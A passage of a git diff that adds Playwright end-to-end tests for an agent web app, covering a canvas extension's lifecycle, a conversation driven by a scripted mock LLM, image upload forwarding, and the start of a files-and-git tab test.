+    await expect(page.getByText(EMPTY_INVENTORY_TEXT)).toBeVisible();
+
+    await page.getByTestId("canvas-extensions-add-button").click();
+    const modal = page.getByTestId("add-canvas-extension-modal");
+    await expect(modal).toBeVisible();
+    await page
+      .getByTestId("add-canvas-extension-source-input")
+      .fill(DEMO_SOURCE);
+    await page.getByTestId("add-canvas-extension-submit").click();
+    await expect(modal).toBeHidden();
+
+    const card = page.getByTestId(CARD);
+    await expect(card).toBeVisible();
+    await expect(card).toContainText("Demo page");
+    await expect(cardToggle(page)).toHaveAttribute("aria-checked", "false");
+    await expect(page.getByTestId(SIDEBAR_ITEM)).toHaveCount(0);
+  });
+
+  test("step 2: enabling behind the trust confirmation registers the sidebar item and renders the page", async ({
+    page,
+  }) => {
+    await openAppsPage(page);
+    await cardToggle(page).click();
+
+    const confirmation = page.getByTestId("confirmation-modal");
+    await expect(confirmation).toBeVisible();
+    await expect(confirmation).toContainText(
+      "This app runs trusted JavaScript inside Agent Canvas",
+    );
+    await confirmation.getByTestId("confirm-button").click();
+
+    await expect(cardToggle(page)).toHaveAttribute("aria-checked", "true");
+    const sidebarItem = page.getByTestId(SIDEBAR_ITEM);
+    await expect(sidebarItem).toBeVisible();
+
+    await sidebarItem.click();
+    await waitForPath(page, new RegExp(`${PAGE_PATH}$`));
+    await expect(extensionPage(page)).toContainText(
+      "Hello from a Canvas Extension",
+    );
+    await expect(extensionPage(page)).toContainText(
+      "Host API 1 on backend default-local",
+    );
+
+    await page.goto(`${PAGE_PATH}/nested`, { waitUntil: "domcontentloaded" });
+    await expect(extensionPage(page)).toContainText(
+      "Nested extension path: nested",
+    );
+  });
+
+  test("step 3: disabling tears down the sidebar item and the page", async ({
+    page,
+  }) => {
+    await openAppsPage(page);
+    await expect(page.getByTestId(SIDEBAR_ITEM)).toBeVisible();
+
+    // Disabling needs no trust confirmation.
+    await cardToggle(page).click();
+    await expect(cardToggle(page)).toHaveAttribute("aria-checked", "false");
+    await expect(page.getByTestId(SIDEBAR_ITEM)).toHaveCount(0);
+
+    await page.goto(PAGE_PATH, { waitUntil: "domcontentloaded" });
+    await expect(
+      page.getByText(
+        "This app is disabled, missing, or does not provide this page.",
+      ),
+    ).toBeVisible();
+  });
+
+  test("step 4: uninstalling empties the inventory", async ({ page }) => {
+    await openAppsPage(page);
+    await page
+      .getByTestId(`canvas-extension-uninstall-${manifest.name}`)
+      .click();
+    const confirmation = page.getByTestId("confirmation-modal");
+    await expect(confirmation).toBeVisible();
+    await confirmation.getByTestId("confirm-button").click();
+
+    await expect(page.getByTestId(CARD)).toHaveCount(0);
+    await expect(page.getByText(EMPTY_INVENTORY_TEXT)).toBeVisible();
+  });
+});
diff --git a/tests/e2e/mock-llm/conversations/mock-llm-conversation.spec.ts b/tests/e2e/mock-llm/conversations/mock-llm-conversation.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..3b9f0e229093231efe7ce7abfa428403abbb3969
--- /dev/null
+++ b/tests/e2e/mock-llm/conversations/mock-llm-conversation.spec.ts
@@ -0,0 +1,451 @@
+/**
+ * Mock-LLM E2E test: full UI-driven conversation with a scripted LLM backend.
+ *
+ * This test exercises the complete stack — from clicking around in the browser
+ * through the real agent-server to a mock LLM server — without any real LLM
+ * credentials. The mock LLM server uses openhands-sdk's TestLLM to return
+ * scripted responses (tool calls and text).
+ *
+ * Flow:
+ *   1. Navigate to Settings > LLM Profiles
+ *   2. Create a new profile pointing at the mock LLM server
+ *   3. Set the profile as active + verify settings API reflects the model
+ *   4. Start a new conversation from the home page
+ *   5. Send a user message and verify the agent responds correctly
+ *   6. Verify via the events API that a terminal tool call was executed
+ *   7. Verify the conversation appears in the sidebar
+ *   8. Verify the user message is visible in chat
+ *   9. Verify POST /api/conversations payload included worktree: true
+ *  10. Resume the conversation from the sidebar after navigating away
+ */
+
+import { test, expect } from "@playwright/test";
+import {
+  BASH_TOKEN,
+  REPLY_TOKEN,
+  waitForAgentMessageContaining,
+  MOCK_LLM_AGENT_URL,
+  BACKEND_URL,
+  SESSION_API_KEY,
+  seedLocalStorage,
+  routeSessionApiKey,
+  dismissAnalyticsModal,
+  waitForTestId,
+  waitForPath,
+  getConversationIdFromURL,
+  waitForNonUserMessageText,
+  waitForSuccessfulBashObservation,
+  deleteConversation,
+  resetMockLLM,
+  setChatInput,
+  ensureMockLLMAgentProfile,
+} from "../utils/mock-llm-helpers";
+
+const PROFILE_NAME = "mock-llm-e2e";
+const MOCK_MODEL = "openai/mock-test-model";
+const USER_MESSAGE = "Please run a quick terminal command and then reply.";
+
+test.describe.configure({ mode: "serial" });
+
+test.describe("mock-LLM agent-server conversation", () => {
+  const conversationIds = new Set<string>();
+  /** Conversation ID from step 3, used by step 4 for resume verification. */
+  let step3ConversationId: string | null = null;
+
+  test.beforeEach(async ({ page }) => {
+    await seedLocalStorage(page);
+  });
+
+  test.afterEach(async ({ page, request }) => {
+    // Track any conversation we landed on
+    const match = page.url().match(/\/conversations\/([^/?#]+)/);
+    if (match?.[1]) conversationIds.add(decodeURIComponent(match[1]));
+
+    // Clean up conversations — but skip step3ConversationId because step 4
+    // needs it to verify conversation resume from the sidebar.
+    for (const id of Array.from(conversationIds)) {
+      if (id === step3ConversationId) continue;
+      try {
+        await deleteConversation(request, id);
+        conversationIds.delete(id);
+      } catch {
+        // best-effort cleanup
+      }
+    }
+  });
+
+  // Safety net: delete the shared step3 conversation after all tests complete.
+  test.afterAll(async ({ request }) => {
+    if (step3ConversationId) {
+      try {
+        await deleteConversation(request, step3ConversationId);
+      } catch {
+        // best-effort
+      }
+    }
+  });
+
+  // ── Step 1: Create LLM profile via the Settings UI ──────────────────
+
+  test("step 1: create an LLM profile pointing at the mock LLM server", async ({
+    page,
+  }) => {
+    await routeSessionApiKey(page);
+    await page.goto("/settings/llm", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+
+    // Wait for the profiles list to load
+    await waitForTestId(page, "add-llm-profile");
+
+    // Click "Add LLM Profile"
+    await page.getByTestId("add-llm-profile").click();
+
+    // Wait for the profile editor form to appear
+    await waitForTestId(page, "profile-editor-title");
+
+    // Fill in the profile name
+    const nameInput = page.getByTestId("profile-name-input");
+    await nameInput.click();
+    await nameInput.fill(PROFILE_NAME);
+
+    // Switch to "All" view to access base_url field
+    await page.getByTestId("sdk-section-all-toggle").click();
+
+    // Wait for the advanced form to render
+    await waitForTestId(page, "llm-settings-form-advanced");
+
+    // Fill in model name
+    const modelInput = page.getByTestId("llm-custom-model-input");
+    await modelInput.click();
+    await modelInput.fill(MOCK_MODEL);
+
+    // Fill in base URL pointing to our mock server.
+    // Use MOCK_LLM_AGENT_URL — the URL the agent-server will use for
+    // inference calls. In Docker this may differ from the host-local URL.
+    const baseUrlInput = page.getByTestId("base-url-input");
+    await baseUrlInput.click();
+    await baseUrlInput.fill(MOCK_LLM_AGENT_URL);
+
+    // Fill in a fake API key (mock server doesn't validate it)
+    const apiKeyInput = page.getByTestId("llm-api-key-input");
+    await apiKeyInput.click();
+    await apiKeyInput.fill("mock-api-key-for-testing");
+
+    // Save the profile
+    await page.getByTestId("save-profile-btn").click();
+
+    // Wait to return to the profiles list
+    await waitForTestId(page, "add-llm-profile");
+
+    // Verify the profile appears in the list
+    const profileRows = page.getByTestId("profile-row");
+    const profileTexts = await profileRows.allTextContents();
+    const hasProfile = profileTexts.some((text) =>
+      text.includes(PROFILE_NAME),
+    );
+    expect(hasProfile, `Profile "${PROFILE_NAME}" should appear in the list`).toBe(true);
+  });
+
+  // ── Step 2: Set the profile as active ───────────────────────────────
+
+  test("step 2: activate the mock-llm profile and verify settings API", async ({
+    page,
+    request,
+  }) => {
+    await routeSessionApiKey(page);
+    await page.goto("/settings/llm", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "add-llm-profile");
+
+    // Find the profile row containing our profile name
+    const profileRows = page.getByTestId("profile-row");
+    const rowCount = await profileRows.count();
+    let targetRow: ReturnType<typeof profileRows.nth> | null = null;
+
+    for (let i = 0; i < rowCount; i++) {
+      const row = profileRows.nth(i);
+      const text = await row.textContent();
+      if (text?.includes(PROFILE_NAME)) {
+        targetRow = row;
+        break;
+      }
+    }
+    expect(targetRow, `Could not find profile row for "${PROFILE_NAME}"`).not.toBeNull();
+
+    // Open the actions menu for this profile
+    await targetRow!.getByTestId("profile-menu-trigger").click();
+    await waitForTestId(page, "profile-actions-menu");
+
+    // Click "Set as active" — with client-side reconciliation
+    // (useEnsureActiveProfile) a freshly-created keyed profile may already be
+    // auto-activated, which disables this item. Only click when it isn't active
+    // yet; either way the badge poll below verifies the end state.
+    const setActive = page.getByTestId("profile-set-active");
+    if (await setActive.isEnabled()) {
+      await setActive.click();
+    } else {
+      await page.keyboard.press("Escape");
+    }
+
+    // Verify the "Active" badge appears on our profile.
+    // Poll with reload instead of a fixed timeout — the mutation may take
+    // more than 1s to persist on a loaded CI runner. The poll also
+    // RE-ATTEMPTS the activation when the badge is still missing: the
+    // "Set as active" PATCH above can be lost when it races the
+    // useEnsureActiveProfile reconciliation write, and a read-only poll
+    // would then time out with no profile active at all.
+    await expect
+      .poll(
+        async () => {
+          await page.goto("/settings/llm", { waitUntil: "domcontentloaded" });
+          await waitForTestId(page, "add-llm-profile");
+          const rows = page.getByTestId("profile-row");
+          const count = await rows.count();
+          for (let i = 0; i < count; i++) {
+            const row = rows.nth(i);
+            const text = await row.textContent();
+            if (text?.includes(PROFILE_NAME)) {
+              if (
+                (await row.getByTestId("profile-active-badge").count()) > 0
+              ) {
+                return true;
+              }
+              // Badge absent — re-attempt activation before the next poll.
+              await row.getByTestId("profile-menu-trigger").click();
+              await waitForTestId(page, "profile-actions-menu");
+              const retrySetActive = page.getByTestId("profile-set-active");
+              if (await retrySetActive.isEnabled()) {
+                await retrySetActive.click();
+              } else {
+                await page.keyboard.press("Escape");
+              }
+              return false;
+            }
+          }
+          return false;
+        },
+        {
+          message: `Profile "${PROFILE_NAME}" should have an "Active" badge`,
+          timeout: 25_000,
+          intervals: [1_000, 2_000, 3_000],
+        },
+      )
+      .toBe(true);
+
+    // Verify the settings API now reflects the activated profile's LLM config
+    await test.step("verify settings API reflects the active profile's model", async () => {
+      const settingsResp = await request.get(`${BACKEND_URL}/api/settings`, {
+        headers: {
+          "X-Session-API-Key": SESSION_API_KEY,
+          "X-Expose-Secrets": "encrypted",
+        },
+      });
+      expect(settingsResp.ok(), `GET /api/settings returned ${settingsResp.status()}`).toBe(true);
+      const settings = await settingsResp.json();
+      const llmModel = settings?.agent_settings?.llm?.model;
+      expect(
+        llmModel,
+        `Expected settings llm.model="${MOCK_MODEL}" but got "${llmModel}"`,
+      ).toBe(MOCK_MODEL);
+
+      const llmBaseUrl = settings?.agent_settings?.llm?.base_url;
+      expect(
+        llmBaseUrl,
+        `Expected settings llm.base_url="${MOCK_LLM_AGENT_URL}" but got "${llmBaseUrl}"`,
+      ).toBe(MOCK_LLM_AGENT_URL);
+    });
+
+    // Point the active agent profile at this LLM profile so the home composer
+    // is unblocked in step 3. Conversations launch from the active AGENT
+    // profile (#1571), whose `llm_profile_ref` — not the active LLM profile —
+    // gates the composer; onboarding does this for real users, but this spec
+    // seeds `openhands-onboarded` and configures the LLM directly.
+    await ensureMockLLMAgentProfile(request, PROFILE_NAME);
+  });
+
+  // ── Step 3: Start a conversation and verify the mock agent responds ─
+
+  test("step 3: run a conversation with the mock LLM", async ({
+    page,
+    request,
+  }) => {
+    // Reset the mock LLM to its default trajectory. Other test suites
+    // (e.g. automation tests) may have activated a different trajectory
+    // that wasn't fully consumed due to earlier failures.
+    await resetMockLLM(request);
+
+    // Steps 1+2 already configured and verified the profile via the UI
+    // (including the "Active" badge check). No API pre-check needed.
+
+    // Passively observe POST /api/conversations to capture the request body.
+    // Using page.on('request') instead of page.route() avoids conflicts with
+    // the routeSessionApiKey interceptor (Playwright routes are LIFO and only
+    // one handler can call continue/fulfill per request).
+    let capturedConversationPayload: Record<string, unknown> | null = null;
+    const captureConversationPayload = (req: import("@playwright/test").Request) => {
+      if (
+        req.method() === "POST" &&
+        new URL(req.url()).pathname === "/api/conversations"
+      ) {
+        try {
+          capturedConversationPayload = req.postDataJSON();
+        } catch {
+          // non-JSON body — leave null
+        }
+      }
+    };
+    page.on("request", captureConversationPayload);
+
+    await routeSessionApiKey(page);
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+
+    // Wait for the home page chat launcher to appear
+    await waitForTestId(page, "home-chat-launcher");
+
+    // Type a message into the home-page chat input, then submit.
+    // This creates the conversation AND sends the first user message in
+    // one step — matching how real users interact with the home page.
+    // IMPORTANT: Do NOT include BASH_TOKEN or REPLY_TOKEN in the user
+    // message. The mock LLM ignores the prompt entirely (TestLLM pops
+    // scripted responses from a deque), so the prompt text is irrelevant.
+    // Keeping the tokens out of the user bubble lets us assert they appear
+    // *only* in agent output.
+
+    await setChatInput(page, USER_MESSAGE);
+
+    // Click the submit button — this triggers conversation creation
+    await page.getByTestId("submit-button").click();
+
+    // Wait for navigation to the new conversation page
+    await waitForPath(page, /\/conversations\/.+/, 30_000);
+    page.off("request", captureConversationPayload);
+    const conversationId = getConversationIdFromURL(page);
+    conversationIds.add(conversationId);
+    step3ConversationId = conversationId;
+
+    // ── Verify: POST /api/conversations payload contained worktree: true ──
+
+    await test.step("verify worktree:true in conversation creation payload", async () => {
+      expect(
+        capturedConversationPayload,
+        "POST /api/conversations payload was not captured — " +
+        "the page.on('request') listener may have missed the request",
+      ).not.toBeNull();
+      expect(
+        capturedConversationPayload?.worktree,
+        `Expected worktree=true in payload, got: ${JSON.stringify(capturedConversationPayload?.worktree)}`,
+      ).toBe(true);
+    });
+
+    // ── Verify: bash tool was executed (via bash events API) ──
+
+    await test.step("verify bash tool execution via bash events API", async () => {
+      await waitForSuccessfulBashObservation(request, conversationId);
+    });
+
+    // ── Verify: agent reply contains REPLY_TOKEN (via conversation events API) ──
+
+    await test.step("verify agent reply via conversation events API", async () => {
+      await waitForAgentMessageContaining(
+        request, conversationId, REPLY_TOKEN, 30_000,
+      );
+    });
+
+    // ── Verify: the agent's final reply token appears in the chat UI ──
+
+    await test.step("verify agent reply token appears in chat UI", async () => {
+      await waitForNonUserMessageText(page, REPLY_TOKEN, 30_000);
+    });
+
+    // ── Verify: user message is visible in the chat UI ──
+
+    await test.step("verify user message is visible in chat UI", async () => {
+      const userMessages = page.locator('[data-testid="user-message"]');
+      await expect(userMessages.first()).toBeVisible({ timeout: 5_000 });
+      const allUserText = await userMessages.allTextContents();
+      const hasUserMessage = allUserText.some((text) =>
+        text.includes(USER_MESSAGE),
+      );
+      expect(
+        hasUserMessage,
+        `User message "${USER_MESSAGE}" should be visible in a user-message element. ` +
+        `Found: ${allUserText.map((t) => t.slice(0, 80)).join(" | ")}`,
+      ).toBe(true);
+    });
+
+    // ── Verify: conversation appears in the sidebar ──
+
+    await test.step("verify conversation appears in sidebar", async () => {
+      // The sidebar renders conversation cards with data-testid="conversation-card".
+      // After creating a conversation, at least one card should be visible, and
+      // clicking it should link to our conversation's URL.
+      const sidebarCards = page.locator('[data-testid="conversation-card"]');
+      await expect(sidebarCards.first()).toBeVisible({ timeout: 10_000 });
+
+      // Verify at least one sidebar card links to our conversation
+      const cardLinks = page.locator(
+        `a[href*="/conversations/${conversationId}"]`,
+      );
+      await expect(cardLinks.first()).toBeVisible({ timeout: 5_000 });
+    });
+
+    // ── Verify: no error banners are visible ──
+
+    await test.step("verify no error banners", async () => {
+      const errorBanner = page.getByTestId("error-message-banner");
+      // No .catch() — if the banner IS visible, this step must fail the test.
+      await expect(errorBanner).not.toBeVisible({ timeout: 2_000 });
+    });
+
+  });
+
+  // ── Step 4: Resume the conversation from the sidebar ────────────────
+
+  test("step 4: resume conversation from sidebar after navigating away", async ({
+    page,
+  }) => {
+    // This step depends on the conversation created in step 3.
+    // If step 3 failed, skip this test instead of failing with a confusing error.
+    test.skip(!step3ConversationId, "step 3 must complete first");
+
+    await routeSessionApiKey(page);
+
+    // Navigate away to the home page
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+
+    // Wait for the sidebar to load conversation cards
+    const sidebarCards = page.locator('[data-testid="conversation-card"]');
+    await expect(sidebarCards.first()).toBeVisible({ timeout: 15_000 });
+
+    // Find the sidebar link to our conversation and click it
+    const conversationLink = page.locator(
+      `a[href*="/conversations/${step3ConversationId}"]`,
+    );
+    await expect(conversationLink.first()).toBeVisible({ timeout: 10_000 });
+    await conversationLink.first().click();
+
+    // Wait for navigation back to the conversation page
+    await waitForPath(page, /\/conversations\/.+/, 15_000);
+    expect(page.url()).toContain(step3ConversationId);
+
+    // Verify the agent's reply token is still visible after resume
+    await test.step("verify agent reply is still visible after resume", async () => {
+      await waitForNonUserMessageText(page, REPLY_TOKEN, 15_000);
+    });
+
+    // Verify the user's original message is still visible
+    await test.step("verify user message is still visible after resume", async () => {
+      await expect(
+        page.locator('[data-testid="user-message"]').filter({ hasText: USER_MESSAGE }),
+      ).toBeVisible({ timeout: 10_000 });
+    });
+
+    // Verify no error banners after resume
+    await test.step("verify no error banners after resume", async () => {
+      const errorBanner = page.getByTestId("error-message-banner");
+      await expect(errorBanner).not.toBeVisible({ timeout: 2_000 });
+    });
+  });
+});
diff --git a/tests/e2e/mock-llm/conversations/mock-llm-image-upload.spec.ts b/tests/e2e/mock-llm/conversations/mock-llm-image-upload.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..0b088e3314138f1d882e2042bbeed0b79c5e605a
--- /dev/null
+++ b/tests/e2e/mock-llm/conversations/mock-llm-image-upload.spec.ts
@@ -0,0 +1,279 @@
+/**
+ * Mock-LLM E2E: image attachment is embedded as base64 and forwarded to LLM.
+ *
+ * Covers the fix from PR #1106: relative working-dir paths no longer resolve
+ * to a read-only root, so file uploads (and image attachments processed via
+ * the same pipeline) land in the correct writable location.
+ *
+ * Flow:
+ *   1. Configure mock LLM profile via the settings API (skips UI setup).
+ *   2. Register a scripted trajectory: one text reply with IMAGE_REPLY_TOKEN.
+ *   3. Attach a minimal 1×1 PNG to the home-page chat input via the hidden
+ *      file input (`data-testid="upload-image-input"`).
+ *   4. Wait for the submit button to become enabled (image processed into
+ *      the Zustand store → canSubmit flips to true).
+ *   5. Type "What is in this image?" and submit.
+ *   6. After the conversation is created and the agent replies:
+ *      a. Verify IMAGE_REPLY_TOKEN appears in the chat UI.
+ *      b. Verify the user's conversation event has image_urls set.
+ *      c. Verify at least one LLM completion call to the mock server
+ *         included an image_url content block (base64 data: URL).
+ */
+
+import { test, expect } from "@playwright/test";
+import {
+  IMAGE_REPLY_TOKEN,
+  MINIMAL_PNG_BASE64,
+  waitForAgentMessageContaining,
+  waitForNonUserMessageText,
+  getMockLLMRequests,
+  BACKEND_URL,
+  SESSION_API_KEY,
+  seedLocalStorage,
+  routeSessionApiKey,
+  dismissAnalyticsModal,
+  waitForTestId,
+  waitForPath,
+  getConversationIdFromURL,
+  deleteConversation,
+  resetMockLLM,
+  registerTrajectory,
+  activateTrajectory,
+  ensureMockLLMProfile,
+  setChatInput,
+} from "../utils/mock-llm-helpers";
+
+// ── Constants ────────────────────────────────────────────────────────────────
+
+const USER_MESSAGE = "What is in this image?";
+const TRAJECTORY_NAME = "image-query";
+
+// ── Test suite ────────────────────────────────────────────────────────────────
+
+test.describe.configure({ mode: "serial" });
+
+test.describe("mock-LLM image upload", () => {
+  let conversationId: string | null = null;
+
+  test.beforeEach(async ({ page }) => {
+    await seedLocalStorage(page);
+  });
+
+  test.afterEach(async ({ request }) => {
+    if (conversationId) {
+      try {
+        await deleteConversation(request, conversationId);
+      } catch {
+        // best-effort cleanup
+      }
+      conversationId = null;
+    }
+    await resetMockLLM(request);
+  });
+
+  // ── Main test ──────────────────────────────────────────────────────────────
+
+  test("attaching an image embeds it as base64 in the LLM completion call", async ({
+    page,
+    request,
+  }) => {
+    // ── 1. Configure mock LLM via the Settings UI ──
+    //    Use a vision-capable model name so litellm does not strip image_url
+    //    content blocks when constructing the completion request.  The base_url
+    //    still points at the local mock server; the model name is purely a hint
+    //    to litellm about what content types the model accepts.
+
+    await ensureMockLLMProfile(page, { model: "openai/gpt-4o" });
+
+    // ── 2. Register and activate the trajectory ──
+    //    The mock LLM ignores the request body, so we don't need the agent to
+    //    "understand" the image — we just want a reply that proves the LLM was
+    //    called and the conversation completed successfully.
+    //
+    //    ⚠️  Padding note (mirrors the automation test's pattern):
+    //    Public skills are bundled from @openhands/extensions at build time.
+    //    The agent-server may make one internal LLM call for skill-analysis
+    //    before the agent loop starts, consuming one trajectory slot.
+    //    Turn 0 is a throwaway empty response that absorbs this internal call.
+    //    Turn 1 is the agent's actual reply (IMAGE_REPLY_TOKEN).
+    //    Turn 2 is a safety buffer in case a follow-up internal call is made.
+
+    await resetMockLLM(request); // clears request history too
+    await registerTrajectory(request, TRAJECTORY_NAME, [
+      { text: "" },              // 0: padding — absorbs any internal skill-activation call
+      { text: IMAGE_REPLY_TOKEN }, // 1: agent's actual reply
+      { text: "" },              // 2: safety buffer for any follow-up internal call
+    ]);
+    await activateTrajectory(request, TRAJECTORY_NAME);
+
+    // ── 3. Navigate to the home page ──
+
+    await routeSessionApiKey(page);
+    await page.goto("/", { waitUntil: "domcontentloaded" });
+    await dismissAnalyticsModal(page);
+    await waitForTestId(page, "home-chat-launcher");
+
+    // ── 4. Attach the test image via the hidden file input ──
+    //    Playwright's setInputFiles works on hidden inputs without needing a
+    //    visible click target.  The onChange handler (handleFileInputChange →
+    //    handleUpload → processImages → addImages) runs asynchronously in
+    //    React, so we wait for the submit button to become enabled afterwards.
+
+    await page.locator('[data-testid="upload-image-input"]').setInputFiles({
+      name: "test-image.png",
+      mimeType: "image/png",
+      buffer: Buffer.from(MINIMAL_PNG_BASE64, "base64"),
+    });
+
+    // Wait for the image to be processed (FileReader async + Zustand store
+    // update).  Once images.length > 0 the submit button stops being disabled.
+    await expect(page.getByTestId("submit-button")).not.toBeDisabled({
+      timeout: 10_000,
+    });
+
+    // ── 5. Type the user message and submit ──
+    //    setChatInput sets innerText directly so the chat doesn't need visible
+    //    typing; the InputEvent dispatch keeps canSubmit in sync.
+
+    await setChatInput(page, USER_MESSAGE);
+
+    // Confirm submit button is still enabled after text is added
+    await expect(page.getByTestId("submit-button")).not.toBeDisabled({
+      timeout: 5_000,
+    });
+
+    await page.getByTestId("submit-button").click();
+
+    // ── 6a. Wait for the conversation page ──
+
+    await waitForPath(page, /\/conversations\/.+/, 30_000);
+    conversationId = getConversationIdFromURL(page);
+
+    // ── 6b. Verify agent reply appears in the chat UI ──
+
+    await test.step("agent reply token appears in chat UI", async () => {
+      await waitForNonUserMessageText(page, IMAGE_REPLY_TOKEN, 30_000);
+    });
+
+    // ── 6c. Verify agent reply captured in conversation events API ──
+
+    await test.step("agent reply captured in conversation events", async () => {
+      await waitForAgentMessageContaining(
+        request,
+        conversationId!,
+        IMAGE_REPLY_TOKEN,
+        15_000,
+      );
+    });
+
+    // ── 6d. Verify user message includes image_urls in conversation events ──
+    //    The agent-server stores the user's message as a MessageEvent whose
+    //    content array contains an "image" block with base64 data URLs.
+
+    await test.step("user message event includes image_urls", async () => {
+      let lastDiag = "no polls yet";
+      await expect
+        .poll(
+          async () => {
+            const resp = await request.get(
+              `${BACKEND_URL}/api/conversations/${encodeURIComponent(conversationId!)}/events/search`,
+              {
+                headers: { "X-Session-API-Key": SESSION_API_KEY },
+                params: { limit: "50", sort_order: "TIMESTAMP_DESC" },
+              },
+            );
+            if (!resp.ok()) {
+              lastDiag = `events API: ${resp.status()}`;
+              return false;
+            }
+            const body = (await resp.json()) as { items?: unknown[] };
+            const items = body.items ?? [];
+            lastDiag = `${items.length} events`;
+
+            return items.some((e: any) => {
+              if (e.source !== "user") return false;
+              // Check llm_message.content for image blocks (REST send path)
+              if (Array.isArray(e.llm_message?.content)) {
+                if (
+                  e.llm_message.content.some(
+                    (c: any) =>
+                      c.type === "image" &&
+                      Array.isArray(c.image_urls) &&
+                      c.image_urls.length > 0,
+                  )
+                )
+                  return true;
+              }
+              // Fall back: args.image_urls (WebSocket send path)
+              const imageUrls = e.args?.image_urls;
+              return Array.isArray(imageUrls) && imageUrls.length > 0;
+            });
+          },
+          { timeout: 15_000 },
+        )
+        .toBe(true)
+        .catch((err) => {
+          throw new Error(
+            `User message event should have image_urls after 15s.\n${lastDiag}`,
+            { cause: err },
+          );
+        });
+    });
+
+    // ── 6e. Verify the LLM completion call included image content ──
+    //    The mock server stores every /v1/chat/completions request body since
+    //    the last reset.  At least one should contain an image_url content
+    //    block with a base64 data: URL, confirming the frontend embedded the
+    //    image rather than dropping it.
+
+    await test.step("LLM completion call included image_url content", async () => {
+      const llmRequests = await getMockLLMRequests(request);
+
+      expect(
+        llmRequests.length,
+        "mock LLM should have received at least one completion request",
+      ).toBeGreaterThan(0);
+
+      // Helper: recursively walk any JSON value looking for a base64 image URL.
+      function containsImageUrl(value: unknown): boolean {
+        if (typeof value === "string") {
+          return value.startsWith("data:image/");
+        }
+        if (Array.isArray(value)) {
+          return value.some(containsImageUrl);
+        }
+        if (value !== null && typeof value === "object") {
+          return Object.values(value as Record<string, unknown>).some(
+            containsImageUrl,
+          );
+        }
+        return false;
+      }
+
+      const anyRequestHadImage = llmRequests.some(containsImageUrl);
+      expect(
+        anyRequestHadImage,
+        `At least one LLM completion call should include a base64 image data: URL.\n` +
+          `Received ${llmRequests.length} request(s).\n` +
+          llmRequests
+            .map(
+              (req, i) =>
+                `Request ${i} messages:\n` +
+                JSON.stringify((req as any)?.messages ?? [], null, 2).slice(
+                  0,
+                  800,
+                ),
+            )
+            .join("\n---\n"),
+      ).toBe(true);
+    });
+
+    // ── 6f. Verify no error banners appeared ──
+
+    await test.step("no error banners", async () => {
+      await expect(page.getByTestId("error-message-banner")).not.toBeVisible({
+        timeout: 2_000,
+      });
+    });
+  });
+});
diff --git a/tests/e2e/mock-llm/files/mock-llm-files-and-git.spec.ts b/tests/e2e/mock-llm/files/mock-llm-files-and-git.spec.ts
new file mode 100644
index 0000000000000000000000000000000000000000..c94737782501f4975d7ce2e62f6b6a7757e527de
--- /dev/null
+++ b/tests/e2e/mock-llm/files/mock-llm-files-and-git.spec.ts
@@ -0,0 +1,407 @@
+/**
+ * Mock-LLM E2E tests: Files tab, conversation overview git, and Browser tab.
+ *
+ * Exercises conversation-panel tabs and git integration against the real
+ * agent-server with a scripted mock LLM backend.
+ *
+ * Coverage (issue #511):
+ *   - Files tab diff view can be enabled when a workspace is attached
+ *   - Conversation overview shows workspace / git identity (composer rail removed)
+ *   - Browser tab renders empty state when no page has been browsed
+ *   - Files tab defaults to file-tree view when NO workspace is attached
+ */
+
+import { test, expect } from "@playwright/test";
+import {
+  REPLY_TOKEN,
+  seedLocalStorage,
+  routeSessionApiKey,
+  dismissAnalyticsModal,
+  waitForTestId,
+  waitForPath,
+  getConversationIdFromURL,
+  waitForNonUserMessageText,
+  deleteConversation,
+  ensureMockLLMProfile,
+  registerTrajectory,
+  activateTrajectory,
+  resetMockLLM,
+} from "../utils/mock-llm-helpers";
+
+const USER_MESSAGE = "Hello, please respond.";
+const WORKSPACE_PATH = "/tmp/e2e-test-project/my-app";
+// The git remote the step-2 trajectory configures for the workspace. Kept as a
+// shared constant so the `git remote add` command and the overview git
+// assertion below can never drift apart.
+const EXPECTED_REPO_SLUG = "test-org/test-repo";
+
+/**
+ * Seed `selected_workspace` into the conversation metadata localStorage key.
+ *
+ * Uses `addInitScript` so the write happens on the real app origin when the
+ * first `page.goto()` triggers a document load — `page.evaluate` on
+ * `about:blank` would write to the wrong origin.
+ */
+async function seedWorkspaceMetadata(
+  page: import("@playwright/test").Page,
+  conversationId: string,
+  workspacePath: string,
+) {
+  await page.addInitScript(
+    ({ convId, wsPath }) => {
+      const STORAGE_KEY = "openhands-agent-server-conversation-metadata";
+      const raw = window.localStorage.getItem(STORAGE_KEY);
+      const all = raw ? JSON.parse(raw) : {};
+      all[convId] = {
+        ...(all[convId] || {}),
+        selected_workspace: wsPath,
+        selected_repository: null,
+        selected_branch: null,
+        git_provider: null,
+      };
+      window.localStorage.setItem(STORAGE_KEY, JSON.stringify(all));
+    },
+    { convId: conversationId, wsPath: workspacePath },
+  );
+}
+
+test.describe.configure({ mode: "serial" });
+
+test.describe("files tab, conversation overview git, and browser tab", () => {
+  const conversationIds = new Set<string>();
+  /** Conversation ID from the workspace-attached test, reused across steps. */
+  let attachedConversationId: string | null = null;
+
+  test.beforeEach(async ({ page }) => {
+    await seedLocalStorage(page);
+  });
+
+  test.afterEach(async ({ page, request }) => {
+    const match = page.url().match(/\/conversations\/([^/?#]+)/);
+    if (match?.[1]) conversationIds.add(decodeURIComponent(match[1]));
+  });
+
+  test.afterAll(async ({ request }) => {
+    for (const id of Array.from(conversationIds)) {
+      try {
+        await deleteConversation(request, id);
+      } catch {
+        // best-effort
+      }
+    }
+    try {
+      await resetMockLLM(request);
+    } catch {
+      // best-effort
+    }
+  });
+
+  // ── Step 1: Setup LLM profile ──────────────────────────────────────
+
+  test("step 1: ensure mock LLM profile is configured", async ({
+    page,
+    request,
+  }) => {
+    // Create AND activate a real LLM profile through the Settings UI.
+    // In local mode the home launcher gates sending on an active LLM profile
+    // (profiles are the source of truth — see `useLlmConfigured`), so the
+    // settings-only `ensureMockLLMProfileViaAPI` path leaves the chat input
+    // and submit button disabled and step 2 can never submit. Other
+    // conversation-starting mock-LLM specs create a profile for this reason;
+    // under selective E2E runs no earlier spec leaves an active profile behind.
+    await ensureMockLLMProfile(page);
+
+    // Register a trajectory that ensures the workspace has a git remote.
